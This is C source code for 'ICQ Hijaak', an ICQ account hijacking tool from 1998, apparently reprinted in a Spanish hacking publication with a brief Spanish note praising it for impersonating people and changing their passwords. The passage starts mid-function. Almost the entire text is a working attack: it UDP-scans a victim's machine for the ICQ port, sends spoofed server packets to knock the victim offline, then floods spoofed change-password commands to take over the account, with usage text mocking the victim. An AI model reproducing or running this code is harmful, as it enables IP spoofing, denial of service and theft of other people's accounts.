                addr_ptr = (struct in_addr *)hinfo->h_addr_list[i];
                if ( !addr_ptr )
                        break;
                host_count++;
        }
        p = (char *)malloc( host_count * hinfo->h_length );
        if ( !p ) {
                fprintf(stderr,"MultiResolve: Failed to allocate %d bytes\n",
                        host_count * hinfo->h_length );
                return FAILURE;
                }
        *addresses = (struct in_addr *)p;
        for ( i = 0; i < host_count; i++ ) {
                (void)memcpy( (void *)p,(void *)hinfo->h_addr_list[i],
                        hinfo->h_length ); p += hinfo->h_length; }
        *addr_count = host_count; return SUCCESS; }
#define IP_VERS         0
#define IP_TOS          1
#define IP_TOTLEN       2
#define IP_ID           4
#define IP_FLAGS        6
#define IP_TIMETOLIVE   8
#define IP_PROTOCOL     9
#define IP_CHECKSUM     10
#define IP_SRC          12
#define IP_DST          16
#define IP_END          20
#define UDP_SOURCE      0
#define UDP_DEST        2
#define UDP_LENGTH      4
#define UDP_CHECKSUM    6
#define UDP_END         8
#define UCHDR_SOURCE    0
#define UCHDR_DEST      4
#define UCHDR_PROTOCOL  9
#define UCHDR_UDPLEN    10
#define UCHDR_END       12
#define ICMP_TYPE       0
#define ICMP_CODE       1
#define ICMP_CHECKSUM   2
#define ICMP_END        4
u16 cksum( u16 * buf, int numWords ) {
        u32 sum;
        sum = 0; while ( numWords -- ) { sum += *(buf++); }
        sum = ( sum >> 16) + ( sum & 0xffff ); sum += ( sum >> 16 );
        return ~sum ; }


void make_ip_hdr(       u8      * packet, int     length, u8      protocol,
         u16     id, u16     flags, struct in_addr  me,
                struct in_addr  you, u8      ttl ) {
        memset( packet, 0, IP_END );
        byte(*packet, IP_VERS ) = 0x45;
        word(*packet, IP_TOTLEN ) = htons( length );
        byte(*packet, IP_TIMETOLIVE ) = ttl;
        byte(*packet, IP_PROTOCOL ) = protocol;
        word(*packet, IP_ID ) = htons( id );
        word(*packet, IP_FLAGS ) = htons( flags );
        dword(*packet,IP_SRC ) = *((u32 *)&me);
        dword(*packet,IP_DST ) = *((u32 *)&you);
        word(*packet, IP_CHECKSUM ) = cksum( (u16 *)packet, IP_END/2 ); }
void make_udp_hdr(      u8      * packet, int     udplength, u16     sport,
                        u16     dport ) {
        u8      * udp;
        static  u8      chdr[UCHDR_END];
        u32     pchecksum;

        memset( chdr, 0, UCHDR_END );

        udp = packet + ( ( byte(*packet, IP_VERS ) & 0x0F ) * 4 );
        memset( udp, 0, UDP_END );
        word(*udp, UDP_SOURCE ) = htons( sport );
        word(*udp, UDP_DEST ) = htons( dport );
        word(*udp, UDP_LENGTH ) = htons( udplength );
        memcpy( chdr + UCHDR_SOURCE, packet + IP_SRC, 8 );
        byte( *chdr, UCHDR_PROTOCOL ) = byte( *packet, IP_PROTOCOL );
        word( *chdr, UCHDR_UDPLEN ) = word( *udp, UDP_LENGTH );
        pchecksum = ( ~cksum( (u16 *)&chdr, UCHDR_END / 2 ) ) & 0xFFFF;
        if ( udplength & 1 ) { byte( *udp, udplength + 1 ) = 0; }
        pchecksum += ( ~cksum((u16 *)udp, udplength/ 2
        + (udplength&1)) ) & 0xFFFF; pchecksum    += ( pchecksum >> 16 );
        word( *udp, UDP_CHECKSUM ) = (u16)~pchecksum ; }
int CreateRawSocket( void )
{
        int     s;
        int     option;

        s = socket( AF_INET, SOCK_RAW, IPPROTO_RAW );
        if ( s < 0 ) { perror("Socket:"); exit(-1); }
        option = 1;
        if ( setsockopt( s, IPPROTO_IP, IP_HDRINCL,
                        (char *)&option,  sizeof( option ) ) < 0 ) {
                perror("Setting IP_HDRINCL"); exit(0); }
        return s; }
int GetLocalAddress( struct in_addr remote, struct in_addr * local )
{
        struct sockaddr_in      laddress;
        struct sockaddr         * laddr = (struct sockaddr *)&laddress;
        struct sockaddr_in      raddress;
        struct sockaddr         * raddr = (struct sockaddr *)&raddress;
        int     s;
        int     err;
        int     len;

        s = socket( AF_INET, SOCK_DGRAM, IPPROTO_UDP );
        if ( s < 1 ) {
                return FAILURE;
        }
        raddress.sin_port = htons( 1984 ); /* DON'T CARE */
        raddress.sin_family = AF_INET;
        raddress.sin_addr = remote;

        err = connect(s, raddr, sizeof(raddress ));
        if ( err < 0 ) {
                return FAILURE;
        }
        len = sizeof(laddress);
        err = getsockname(s, laddr, &len );
        if ( err < 0 ) {
                return FAILURE;
        }
        *local = laddress.sin_addr;
        close(s);
        return SUCCESS;
}
int CreateICMPSocket( void )
{
        int s;

        s = socket( AF_INET, SOCK_RAW, IPPROTO_ICMP );
        if ( s < 1 )
                return FAILURE;
        return s;
}
int  SendUDP( int s, struct in_addr source, struct in_addr dest,
                u16 sport, u16 tport )
{
        static u8       packet[576];
        struct sockaddr_in      raddress;
        struct sockaddr         * raddr = (struct sockaddr *)&raddress;
        int     psize;
        int     err;


        raddress.sin_port = htons( 1984 ); /* DON'T CARE */
        raddress.sin_family = AF_INET;
        raddress.sin_addr = dest;


        psize = IP_END + UDP_END + 6;

        make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,
                source, dest, 0x7F );

        make_udp_hdr( packet, psize - IP_END, sport, tport);

        err = sendto( s, packet, psize, 0,raddr, sizeof(raddress));
        if ( err != psize ) {
                perror("Sending");
                return FAILURE;
                }
        return SUCCESS;
}
const int       verify_secs = 2;
int VerifyUDPPort( struct in_addr addr, u16 port )
{
        int             s_icmp;
        struct timeval  start_time, end_time, wait_time;
        fd_set          rdfs;
        int             err;
        static u8       packet[1500]; /* should be max MTU */
        struct sockaddr junkaddr;
        int             junksize;

        u8              * icmphdr;
        u8              * fiphdr;
        u8              * fudphdr;
        int             len;
        int             got_unreach;
        struct in_addr  localaddr;
        int             rawsock;
        if ( GetLocalAddress(addr, &localaddr) == FAILURE ) {
         perror("GetLocalAddress"); exit(-1); }
        s_icmp = CreateICMPSocket();
        if ( s_icmp == FAILURE )  { perror("Getting ICMP socket"); exit(-1); }
        rawsock = CreateRawSocket();
        if ( rawsock < 0 ) { perror("Getting Raw socket"); exit(-1); }
        FD_ZERO( &rdfs ); FD_SET( s_icmp, &rdfs );
        if ( SendUDP(rawsock, localaddr, addr, 0x1984, port ) == FAILURE ) {
                perror("Sending UDP packet"); exit(-1); }
        got_unreach = 0; gettimeofday( &start_time, NULL );
        do { wait_time.tv_usec = 0; wait_time.tv_sec = verify_secs;
                err = select( s_icmp+1, &rdfs, NULL, NULL, &wait_time );
                if ( -1 == err ) { perror("VerifyUDPPort - Select"); exit(-1); }
                if ( !err ) break;
                junksize = sizeof( struct sockaddr );
                err = recvfrom( s_icmp, packet, 1500, 0,
                        &junkaddr, &junksize );
                if ( -1 == err ) { perror("VerifyUDPPort - recvfrom: ");
                        exit(-1); }
                if ( (byte(*packet,IP_PROTOCOL ) != IPPROTO_ICMP ) ||
                   (dword(*packet, IP_SRC ) != *((u32 *)&addr) )  )
                        goto check_timeout;
                len =  ( byte(*packet, 0 ) & 0x0F ) * 4;
                icmphdr = packet + len;
                if ( (byte(*icmphdr,ICMP_TYPE ) != 3 ) ||
                   (byte(*icmphdr,ICMP_CODE ) != 3 )  )
                        goto check_timeout;
                fiphdr = icmphdr + ICMP_END + 4/*clear error code*/;
                len = ( byte(*fiphdr, 0 ) & 0x0F ) * 4;
                if ( (byte(*fiphdr,IP_PROTOCOL ) != IPPROTO_UDP ) ||
                   ( (dword(*fiphdr, IP_DST ) != *((u32 *)&addr)  ) )   )
                        goto check_timeout;
                fudphdr = fiphdr + len;
                if ( word(*fudphdr, UDP_DEST ) == htons( port ) ) {
                         got_unreach = 1; break; }
check_timeout:
               gettimeofday( &end_time, NULL );
        } while ( ( end_time.tv_sec - start_time.tv_sec ) < verify_secs );
        close( s_icmp ); close( rawsock);
        if ( got_unreach ) return FAILURE;
 else return SUCCESS;

}
typedef struct  foobar
{
        int     next;
        int     prev;
        u16     rem_port;
        int     times;
} port_info;
#define MAX_BURST       128
#define UNUSED_HEAD     MAX_BURST + 1
#define UNUSED_TAIL     MAX_BURST + 2
#define LIVE_HEAD       MAX_BURST + 3
#define LIVE_TAIL       MAX_BURST + 4
#define FIRST_LPORT     55000
#define SEND_COUNT      3
#define NEXT(i) List[(i)].next
#define PREV(i) List[(i)].prev
#define PORT(i) List[(i)].rem_port
#define TIMES(i) List[(i)].times
int UDPScan( struct in_addr addr, u16 start, u16 end, u16 * tport )
{
        int     unused_head;
        int     unused_tail;
        int     live_head;
        int     live_tail;
        int     i;
        port_info       List[ LIVE_TAIL + 1 ];
        int     Current[ MAX_BURST ];
        int     cur_min, cur_max;
        int     now_port;
        int     delay;
        int     my_port;
        int     cur_send;
        struct timeval  wait_time;
        fd_set          rdfs;
        int     err;
        int     s_icmp, rawsock;
        struct in_addr  localaddr;
        *tport = 0;
        if ( GetLocalAddress(addr, &localaddr) == FAILURE ) {
                perror("GetLocalAddress"); return FAILURE; }
        s_icmp = CreateICMPSocket();
        if ( s_icmp == FAILURE )  {
                perror("Getting ICMP socket"); return FAILURE; }
        rawsock = CreateRawSocket();
        if ( rawsock < 0 ) {
                perror("Getting Raw socket"); return FAILURE; }
        FD_ZERO( &rdfs );
        FD_SET( s_icmp, &rdfs );
        List[ LIVE_TAIL ].next = -1; List[ LIVE_TAIL ].prev = LIVE_HEAD;
        List[ LIVE_TAIL ].rem_port = 0; List[ LIVE_HEAD ].prev = -1;
        List[ LIVE_HEAD ].next = LIVE_TAIL; List[ LIVE_HEAD ].rem_port = 0;
        List[ UNUSED_TAIL ].next = -1; List[ UNUSED_TAIL ].prev = UNUSED_HEAD;
        List[ UNUSED_TAIL ].rem_port = 0; List[ UNUSED_HEAD ].prev = -1;
        List[ UNUSED_HEAD ].next = UNUSED_TAIL;
        List[ UNUSED_HEAD ].rem_port = 0;
        for ( i = 0; i < MAX_BURST ; i++ ) {
                PREV( i ) = PREV( UNUSED_TAIL ); NEXT( i ) = UNUSED_TAIL;
                 NEXT( PREV( i ) ) = i; PREV( NEXT( i ) ) = i; PORT( i ) = 0;
                TIMES( i ) = SEND_COUNT; }
        now_port = start;
        cur_min = now_port;
        cur_max = MAX_BURST;
        my_port = FIRST_LPORT;
        cur_send = 16;

        while ( 1 ) {
                int     cur;
                int     cnt;

                cur_max = cur_send;
                cur_min = now_port;
                cur = List[ LIVE_HEAD ].next;
                cnt = 0;
                while ( NEXT(cur) != -1 ) {

                        if (!cur_max ) {
                                break;
                        }
                        cnt++;

                        if ( SendUDP(rawsock, localaddr, addr,
                                my_port, PORT(cur) ) == FAILURE ) {
                                perror("Sending UDP packet");
                                return FAILURE;
                        }
                        cur_max--;
                        TIMES(cur)--;
                        cur = NEXT(cur);

                        if ( NEXT(cur) > LIVE_TAIL ) {
                                printf("Ugh! %d \n", NEXT(cur) );
                                exit(-1);
                        }

                }

                for ( i = 0; i < cur_max ; i ++ ) {
                        int node;

                        if ( cur_min > end )
                                break;

                        node = NEXT( UNUSED_HEAD );
                        if ( -1 == NEXT( node ) )
                                break;
                        NEXT( UNUSED_HEAD ) = NEXT( node );
                        PREV( NEXT(node) ) = UNUSED_HEAD;

                        PREV( node ) = PREV( LIVE_TAIL );
                        NEXT( node ) = LIVE_TAIL;
                        NEXT( PREV( node ) ) = node;
                        PREV( NEXT( node ) ) = node;

                        PORT( node ) = cur_min + i;
                        if ( SendUDP(rawsock, localaddr, addr,
                                my_port, cur_min+i ) == FAILURE ) {
                                perror("Sending UDP packet");
                                return FAILURE;
                        }

                        Current[ i ] = node;
                }

                if ( ( now_port >= end ) &&
                     ( !cnt ) ) {
                        printf("Found nothing!\n");
                        return SUCCESS;
                }
                now_port += cur_max;

                /*
                 * Delay, waiting for responses.  Continue until the
                 * operation times out, meaning that we waited long enough
                 * for a packet..
                 */
                cnt = 0;
                while ( 1 ) {
                        int junksize;
                        static struct sockaddr  junkaddr;
                        static u8 packet[1500];
                        int     len;
                        u8      * icmphdr, * fiphdr, *fudphdr;
                        int     got_port;
                        int     cur;

                        wait_time.tv_usec = 0;
                        wait_time.tv_sec = 5;
                        FD_SET( s_icmp, &rdfs );
                        err = select( s_icmp+1, &rdfs, NULL, NULL, &wait_time );                        
			if ( -1 == err ) {
                                perror("UDPSCAN - Select");
                                return FAILURE;
                        }
                        if ( !err )  {
                                break;
                        }
                        junksize = sizeof( struct sockaddr );
                        err = recvfrom( s_icmp, packet, sizeof(packet), 0,
                                &junkaddr, &junksize );
                        if ( -1 == err ) {
                                perror("UDPSCAN - recvfrom: ");
                                exit(-1);
                        }
                        if ( (byte(*packet,IP_PROTOCOL ) != IPPROTO_ICMP ) ||
                                (dword(*packet, IP_SRC ) != *((u32 *)&addr) ) )
                                continue;
                        len =  ( byte(*packet, 0 ) & 0x0F ) * 4;
                        icmphdr = packet + len;
                        if ( (byte(*icmphdr,ICMP_TYPE ) != 3 ) ||
                                (byte(*icmphdr,ICMP_CODE ) != 3 )  )
                                continue;
                        fiphdr = icmphdr + ICMP_END + 4/*clear error code*/;
                        len = ( byte(*fiphdr, 0 ) & 0x0F ) * 4;
                        if ( (byte(*fiphdr,IP_PROTOCOL ) != IPPROTO_UDP ) ||
                                ( (dword(*fiphdr, IP_DST ) !=
                                *((u32 *)&addr)  ) )   )
                                continue;
                        fudphdr = fiphdr + len;
                        got_port = ntohs( word(*fudphdr, UDP_DEST ) ) ;

                        if ( ( got_port >= cur_min ) &&
                                ( got_port < (cur_min+cur_max) ) ) {
                                cur = Current[ got_port - cur_min ];

                                PREV( NEXT(cur)  ) = PREV( cur );
                                NEXT( PREV(cur) ) = NEXT( cur );

                                PREV( cur ) = PREV( UNUSED_TAIL );
                                NEXT( cur ) = UNUSED_TAIL;
                                NEXT( PREV( cur ) ) = cur;
                                PREV( NEXT( cur ) ) = cur;

                                cnt++;
                                continue;
                        }
                        /*
                         * if we get here, then it was one of the older
                         * ones, so look through the array for it
                         */
                        cur = NEXT( LIVE_HEAD );
                        while ( NEXT(cur) != -1 ) {
                                if ( PORT(cur) == got_port ) {

                                        PREV( NEXT(cur)  ) = PREV( cur );
                                        NEXT( PREV(cur) ) = NEXT( cur );

                                        PREV( cur ) = PREV( UNUSED_TAIL );
                                        NEXT( cur ) = UNUSED_TAIL;
                                        NEXT( PREV( cur ) ) = cur;
                                        break;
                                }
                                cur = NEXT(cur);
                        }
                        if ( NEXT(cur) == -1 ) {
                                printf("RESPONSE FOR PORT %d UNEXPECTED! \n",
                                        got_port);
                        } else {
                                cnt++;
                        }

                }
                printf("[UDP Scan working] Got %d responses \n", cnt );


                if  ( cnt < ( (cur_send/4) * 3 ) ) {

                        cur_send /= 2;
                        if ( cur_send < 16 ) {
                                cur_send = 16;
                        }

                } else {
                        cur_send *= 2;
                        if ( cur_send > MAX_BURST ) {
                                cur_send = MAX_BURST;
                 } } cur = NEXT( LIVE_HEAD );
                while ( NEXT(cur) != -1 ) {
                        if (!TIMES(cur) ) {
                                printf("SCORE!  Port is %d \n",PORT(cur));
                                close( s_icmp );
                                close( rawsock);
                                *tport = PORT(cur);
                                return SUCCESS;
                        }
                        cur = NEXT(cur);
                }

        }

        close( s_icmp );
        close( rawsock);
        return SUCCESS;
}
#define COMMAND_CHANGEPASSWORD  0x049C
#define COMMAND_LOGOFF  0x0438
#define RESPONSE_ERROR  0x00F0

int WritePacket(u8        * data_ptr,
                int     * size,
                char    * format,
                ...     )

{
        u8              * ptr;
        va_list         ap;
        u32             dword_param;
        u16             word_param;
        u8              byte_param;
        u8              * string_param;
        int             string_length;
        int             * data_length;

        ap = va_start( ap, format );
        ptr = data_ptr;

        while ( *format ) {
                switch ( *format++ ) {
                case 'L':  /* dword */
                        dword_param = va_arg(ap, u32 );
                        *(ptr++) = dword_param & 0xFF;
                        *(ptr++) = (dword_param >> 8 ) & 0xFF;
                        *(ptr++) = (dword_param >> 16) & 0xFF;
                        *(ptr++) = (dword_param >> 24) & 0xFF;
                        break;
                case 'W': /* word */
                        word_param = va_arg(ap, u16 );
                        *(ptr++) = word_param & 0xFF;
                        *(ptr++) = (word_param >> 8 ) & 0xFF;
                        break;
                case 'B': /* Byte */
                        byte_param = va_arg(ap, u8 );
                        *(ptr++) = byte_param;
                        break;

                case 'S': /* ICQ string */
                        string_param = va_arg(ap, u8 * );
                        string_length = strlen( string_param ) + 1;
                        *(ptr++) = (string_length ) & 0xFF;
                        *(ptr++) = (string_length >> 8)  & 0xFF;
                        memcpy( ptr, string_param, string_length );
                        ptr += string_length;
                        break;
                case 'D':  /* pure data with length byte */
                        data_length = va_arg(ap, int * );
                        string_param = va_arg(ap, u8 * );
                        memcpy( ptr, string_param , *data_length );
                        ptr += *data_length;
                        break;

                default:
                        fprintf(stderr,"Invalid type %c \n", *(format-1) );
                        return FAILURE;
                }

        }
        /* return the size taken up */
        *size = (ptr - data_ptr );
        return SUCCESS;
}
u32     icq_uin = -1;
u16     icq_seq = 0;
u16     icq_seq2 = 0;
#define ICQ4_VER        0
#define ICQ4_RANDOM     2
#define ICQ4_ZERO       4
#define ICQ4_COMMAND    6
#define ICQ4_SEQ        8
#define ICQ4_SEQ2       10
#define ICQ4_UID        12
#define ICQ4_CHECK      16
#define ICQ4_END        20
void create_icq4_hdr(
                u8      * data_ptr,
                u16     any_number,
                u16     command,
                int     data_size
                 )
{
u32     check;
u32     check2;
u32     keyvalue;
int     count;
int     length;
int     i;
u8      ofs;
u8      val;

length = data_size + ICQ4_END;

memset( data_ptr, 0, ICQ4_END );

word(*data_ptr, ICQ4_VER ) = 0x4; word(*data_ptr, ICQ4_RANDOM) = any_number;
word(*data_ptr, ICQ4_COMMAND ) = command; word(*data_ptr, ICQ4_SEQ ) = icq_seq;
word(*data_ptr, ICQ4_SEQ2 ) = icq_seq2; dword(*data_ptr,ICQ4_UID ) = icq_uin;
dword(*data_ptr,ICQ4_CHECK) = 0x0;

check = ( *(data_ptr + 8) << 24) | ( *(data_ptr + 4) << 16 ) |
        ( *(data_ptr + 2) << 8 ) | ( *(data_ptr + 6) );
ofs = random() % length; val = *(data_ptr + ofs );
check2 = ( ofs << 24 ) | ( val << 16 );
ofs = random() % 256; val = icq_check_data[ ofs ];
check2 |= ( ofs << 8 ) | ( val ); check2 ^= 0x00FF00FF; check ^= check2;
dword(*data_ptr,ICQ4_CHECK ) = check;
keyvalue = length * 0x66756B65; keyvalue += check;
count = ( length + 3 ) / 4; count += 3; count /= 4;
for ( i = 0; i < count ; i++ ) {
        u32 * r;
        if ( i == 4 ) continue; r = (u32 *)(data_ptr + (i*4) );
 *r ^= (keyvalue + icq_check_data[i*4] ); }
word(*data_ptr, ICQ4_VER ) = 0x4; /* NECESSARY! */
}

void    create_icq3_header(     u8 * data_ptr, int * size, u16  command,
 u16  seq1, u16  seq2, u32  UIN )
{
        int     len, len2, err, ofs, val;
        u32     check, check2;

        err = WritePacket( data_ptr,&len, "WWWWL",
                0x03, command, seq1, seq2, UIN );
        if ( err == FAILURE ) {
                printf("Programmer Error in create_icq3_header\n"); exit(-1); }
        check = ( *(data_ptr + 8) << 24) | ( *(data_ptr + 4) << 16 ) |
                ( *(data_ptr + 2) << 8 ) | ( *(data_ptr + 6) );
        ofs = random() % len; val = *(data_ptr + ofs );
        check2 = ( ofs << 24 ) | ( val << 16 );
        ofs = random() % 256;
        val = icq_check_data[ ofs ];
        check2 |= ( ofs << 8 ) | ( val );
        check2 ^= 0x00FF00FF; check ^= check2;
        err = WritePacket( (data_ptr + len),&len2,"L", check );
 *size = len + len2; }
static  u8      packet[ 1500 ];
void main( int argc, char ** argv );
void main(  int argc, char ** argv )
{
        int     count;
        int     i;
        u16     j, k;
        struct in_addr * addr_list;
        struct in_addr * target_list;
        int     err;
        struct in_addr  you;
        struct in_addr  me;
        int             rawsock;
        struct sockaddr raddr;
        struct sockaddr_in * r_in = (struct sockaddr_in *)&raddr;
        int     size;
        u8      * data_ptr;
        u8      * hdr_ptr;
        int     hdr_size;
        u16     your_port;
        int     retries;
        int     base_port;
        if ( argc < 5 ) {
                fprintf(stderr,
"--=--==[ ICQ Hijaak ]=====------------------------==--------------\n"
"Author:  wumpus@innocent.com    *    Copyright (c) 1998  Wolvesbane\n"
"[ http://www.rootshell.com/ ] - Usage: \n"
"       hijaak [options] icq-server target-uin target-ip new-password \n"
"\n"
"icq-server:    Packets will be *spoofed* from the (possibly plural) \n"
"               IP addresses of this parameter. \n"
"\n"
"target-uin:    D'Oh!  \n\n"
"target-ip:     Finding this is up to you.  May the farce be with you\n"
"\nnew-password: D'Oh! Take a guess \n"
"\nNo options are available at this time.\n" );
                exit(-1);
        }
        base_port = 0;
        if ( argc > 5 ) { base_port = atoi( argv[5] ); }
        if (!base_port)  base_port = 1024;
        icq_uin = atol( argv[2] );
        if ( !icq_uin ) {
                fprintf(stderr, "Who do you want me to kill, boss? \n");
                exit(-1); }
        err = MultiResolve(argv[3],&count,&target_list);
        if ( err == -1 ) { herror("Resolving target\n"); exit(-1); }
        if ( count > 1 ) { fprintf(stderr,
"Hey! Moron!  You need to specify an UNAMBIGUOUS victim IP. \n" );
                exit(-1); }
        you = target_list[0];
        free( target_list );
        err = MultiResolve(argv[1],&count,&addr_list);
        if ( err == -1 ){ herror("Resolving ICQ server"); exit(-1); }
        r_in->sin_port = htons( 1984 ); /* DON'T CARE */
        r_in->sin_family = AF_INET; r_in->sin_addr = you;

        hdr_ptr = packet + IP_END + UDP_END;

        rawsock = CreateRawSocket();

        printf("** Scanning for luser's ICQ port ...\n");

        your_port = base_port;
        while ( 1 ) { err = UDPScan(you, your_port, 65535, &your_port );
                if (  ( err == -1 ) || ( !your_port ) ) { fprintf(stderr,
"D'Oh!  Can't find a target port.  Better check that target IP again!\n");
                        exit(-1); }
                if ( FAILURE == VerifyUDPPort( you, your_port ) ) {
                        fprintf(stderr,
"UDP scan found invalid port. Retrying...  Hit CTRL-C to exit\n");
                        continue; }
                break;
        }
        printf("*** Got luser's port at %d \n", your_port );
        create_icq3_header(hdr_ptr, &hdr_size, RESPONSE_ERROR, 0,
                0, icq_uin  ); retries = 3;
        while ( retries-- ) {
                printf("Trying to knock luser offline.  Attempt %d\n",
                        3 - retries );
                for ( i = 0; i < count ; i++ ) {
                        int     psize;

                        psize = IP_END + UDP_END + hdr_size;
                        make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,
                                addr_list[i], you, 0x7F );
                        make_udp_hdr( packet, psize - IP_END, 4000,your_port );
                        err = sendto( rawsock, packet, psize, 0,
                                &raddr, sizeof(raddr));
                        if ( err != psize ) { perror("Sending"); exit(-1); }
                }
                if ( FAILURE == VerifyUDPPort( you, your_port ) ) { break; }
                sleep( 3 );     /* Give 'em some time */
                if ( FAILURE == VerifyUDPPort( you, your_port ) ) { break; }
                sleep(3);
        }
        printf("Retries is %d \n", retries );
        if ( 0 > retries ) { fprintf(stderr,
"Uh Oh!  Something ain't working.  Can't toast the luser.  Sorry, dude.\n");
                exit(-1); }
        /* more time? how long does it take to reconnect? */
        sleep(16);
        printf("** Scanning for luser's _new_ ICQ port ...\n");
        while ( 1 ) {
                err = UDPScan(you, your_port, 65535, &your_port );
                if (  ( err == -1 ) || ( !your_port ) ) { fprintf(stderr,
"D'Oh! Can't find the new port!  Maybe your target is smarter than you?\n");
                        exit(-1); }
                if ( FAILURE == VerifyUDPPort( you, your_port ) ) {
                        fprintf(stderr,
"New UDP scan found invalid port. Retrying...  Hit CTRL-C to exit\n");
                        continue; } break; }
        printf("*** Got luser's new connection at %d \n", your_port );
        printf("*** Hijaaking account now...(*LONG* version)\n");
        for ( k = 0; k < 14 ; k++ ) {
                for ( j = 0; j < 14 ; j++ ) {
                        int     psize;
                        icq_seq = k; icq_seq2 = j;
                        data_ptr = hdr_ptr + ICQ4_END;
                        WritePacket( data_ptr, &size, "S",argv[4] );
                        create_icq4_hdr(hdr_ptr, random()&0xFFFF,
                                COMMAND_CHANGEPASSWORD, size );
                        hdr_size = ICQ4_END;

                        for ( i = 0; i < count ; i++ ) {
                                psize = IP_END + UDP_END + hdr_size + size;
                                make_ip_hdr( packet, psize, IPPROTO_UDP,
                                        0x666, 0, you, addr_list[i], 0x7F );
                                make_udp_hdr( packet, psize - IP_END,
                                        your_port, 4000);
                                err = sendto( rawsock, packet, psize, 0,
                                        &raddr, sizeof(raddr));
                                if ( err != psize ) { perror("Sending");
                                        exit(-1); } usleep( 1000 );
                                err = sendto( rawsock, packet, psize, 0,
                                        &raddr, sizeof(raddr));
                                if ( err != psize ) {
                                        perror("Sending");
                                exit(-1);
                                } } } }
        printf("Disconnecting the remote luser... \n");
        create_icq3_header(hdr_ptr, &hdr_size, RESPONSE_ERROR, 0, 0, icq_uin  );
        for ( i = 0; i < count ; i++ ) {
                int     psize;
                psize = IP_END + UDP_END + hdr_size;
                make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,
                        addr_list[i], you, 0x7F );
                make_udp_hdr( packet, psize - IP_END, 4000,your_port );
                err = sendto( rawsock, packet, psize, 0,
                        &raddr, sizeof(raddr));
                if ( err != psize ) { perror("Sending"); exit(-1); } }
        free( addr_list );
}
<-->

Descripcion y Notas:

A ver, que repasemos. Por esta seccion ya han pasado ICQ spoofers, ICQ
sniffers, y ahora tenemos al ICQ Hijacking, que es un poquito largo, pero
bueno. Asi podremos suplantar la identidad de una persona, e incluso se
advierte de la posibilidad de cambiarle la password ;)